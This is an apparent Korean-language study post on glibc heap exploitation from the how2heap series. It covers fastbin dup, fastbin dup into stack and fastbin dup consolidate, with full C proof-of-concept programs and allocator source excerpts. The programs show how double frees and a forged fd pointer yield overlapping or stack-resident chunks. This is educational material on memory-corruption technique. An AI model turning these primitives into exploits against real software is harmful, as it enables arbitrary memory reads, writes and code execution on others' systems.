[How2heap] Fastbin Dup
Double Free
Double Free Bug란 같은 청크를 두 번 해제할 수 있는 버그로 공격자에게 임의 주소 쓰기/읽기, 임의 코드 실행등의 수단으로 활용될 수 있습니다.
같은 청크를 두 번 해제한다면 이후 malloc 함수를 호출할 시 동일한 메모리 주소가 반환되면서 공격자는 chunk의 metadata를 조작할 수 있습니다.
Fastbin dup
Fastbin dup은 Double Free Bug를 이용하여 fastbin에 배치된 리스트를 악용한 공격입니다.
동일한 fast chunk를 중복으로 해제할 경우 해당 chunk들 fastbin에 중복으로 배치됩니다.
이렇게 중복으로 배치된 chunk들은 이후 malloc을 통해 처음 재할당으로 chunk의 fd를 변조하고 두 번째 재할당으로 임의 주소에 Heap chunk를 할당할 수 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
위의 코드는 Fastbin Dup의 과정을 보여주는 코드입니다.
윗 줄의 malloc, free 코드는 tcache bin을 채우기 위한 용도입니다.
calloc 함수를 통해 8byte만큼 동적 할당을 합니다. 이후 a, b, a 순으로 free 함수를 실행하는데 a를 두 번 해제를 하기 때문에 Double Free Bug가 발생해 fastbin에는 중복된 chunk가 배치되게 됩니다.
그림으로 표현하면 다음과 같습니다.
After calloc
a = 0x602360
b = 0x602380
c = 0x602360
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
청크를 한 번에 중복으로 해제하지 않고 다른 청크를 해제하고 하는 이유는 할당자가 해제되는 청크가 이미 해제된 청크인지 확인하는 조건문때문에 동일 chunk를 중복으로 해제할 경우 에러 메시지를 출력하고 종료합니다.
따라서 이를 우회하기 위해 중간에 다른 chunk를 해제한 뒤 해제합니다.
Fastbin Dup into stack
Fastbin dup을 활용한 기법으로 fd를 조작하여 malloc 함수로부터 Stack 메모리를 반환받을 수 있습니다.
#include <stdlib.h>
#include <assert.h>
int main()
{
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
free(a);
free(b);
free(a);
unsigned long *d = calloc(1,8);
stack_var[1] = 0x20;
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
*d = stack_var;
calloc(1, 8);
calloc(1, 8);
void *p = calloc(1,8);
}
중복으로 해제한 chunk를 재할당한 뒤 해당 chunk의 fd에 stack 주소를 입력하고 해당 stack 주소에서는 fake chunk 만들기 위해 stack_var + 8에 size 입력합니다.
해당 fake chunk는 정상 chunk로 인식되기 때문에 이후 malloc 함수 호출 시 stack + 16byte의 주소를 반환합니다. 앞의 16byte는 prev_size, size를 나타냅니다.
a, b, a 순으로 메모리를 해제한 뒤의 fastbin list 입니다. Double Free Bug로 인해 동일한 청크가 들어있는 것을 확인할 수 있습니다.
다음 그림은 Fastbin Dup into stack 진행 과정입니다.
최종적으로 임의 스택 주소를 할당 받아 해당 주소에 접근하여 내부에 존재하는 데이터를 읽거나 변조할 수 있습니다.
Fastbin Dup Consolidation
0x400byte 이상의 크기의 메모리를 요청할 시 단편화를 방지하기 위해 fastbin에 있는 chunk들을 병합하는 malloc_consolidate 함수가 호출됩니다. 그결과 병합 chunk들은 unsorted bin에 들어가게 됩니다.
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (atomic_load_relaxed (&av->have_fastchunks))
malloc_consolidate (av);
}
해당 특성을 이용하여 Double Free Bug를 일으킬 수 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");
void *ptr[7];
for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);
void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");
assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n");
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}
free(p1)이 실행되면 해당 chunk는 fastbin에 들어갑니다.
malloc(0x400)를 호출하면 malloc_consolidate 함수가 호출돼 fastbin chunk가 top chunk와 병합합니다.
이후 0x400byte chunk의 주소를 반환합니다. 이때 주소는 p1이 가리키는 주소와 같습니다.
free(p1)이 실행되면 해당 chunk는 tcache bin에 들어가게 되고 이후 malloc(0x400) 호출하면 p3가 가리키는 주소와 동일한 주소를 리턴하게 되고 결과적으로 p4는 이미 할당된 chunk를 가리키게 됩니다.